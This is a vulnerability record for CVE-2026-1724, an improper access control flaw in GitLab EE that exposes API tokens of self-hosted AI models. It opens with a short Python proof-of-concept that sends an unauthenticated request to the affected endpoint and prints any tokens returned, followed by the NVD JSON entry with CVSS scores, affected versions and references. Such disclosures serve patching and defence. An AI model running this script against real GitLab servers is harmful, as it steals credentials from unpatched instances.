CVE-2026-1724

import requests # Target URI configuration target_host = "http://your-gitlab-instance.com" vulnerable_endpoint = "/api/v4/ai/self_hosted_models/tokens" # Construct full URL url = f"{target_host}{vulnerable_endpoint}" try: # Send unauthenticated GET request response = requests.get(url, timeout=10) # Check if access control bypass is successful if response.status_code == 200: print("[+] Vulnerability confirmed! API Tokens retrieved:") print(response.text) else: print(f"[-] Request failed. Status Code: {response.status_code}") print(f"[-] Response: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}")

{"cve": {"id": "CVE-2026-1724", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:29.943", "lastModified": "2026-03-26T18:23:30.973", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab EE affecting all versions from 18.5 before 18.8.7, 18.9 before 18.9.3, and 18.10 before 18.10.1 that could have allowed an unauthenticated user to access API tokens of self-hosted AI models due to improper access control."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab EE que afectaba a todas las versiones desde la 18.5 anterior a la 18.8.7, la 18.9 anterior a la 18.9.3 y la 18.10 anterior a la 18.10.1 que podría haber permitido a un usuario no autenticado acceder a los tokens de la API de modelos de IA autoalojados debido a un control de acceso inadecuado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.8.7", "matchCriteriaId": "91B89AFE-E378-447B-99AB-627A8BE12907"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.9.0", "versionEndExcluding": "18.9.3", "matchCriteriaId": "C3240349-67A3-43E2-BAD9-EFAA3E0A5D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.10.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "2B8DF779-B99E-4096-B734-78AB1849D136"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/03/25/patch-release-gitlab-18-10-1-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/work_items/588334", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3531412", "source": "[email protected]", "tags": ["Permissions Required"]}]}}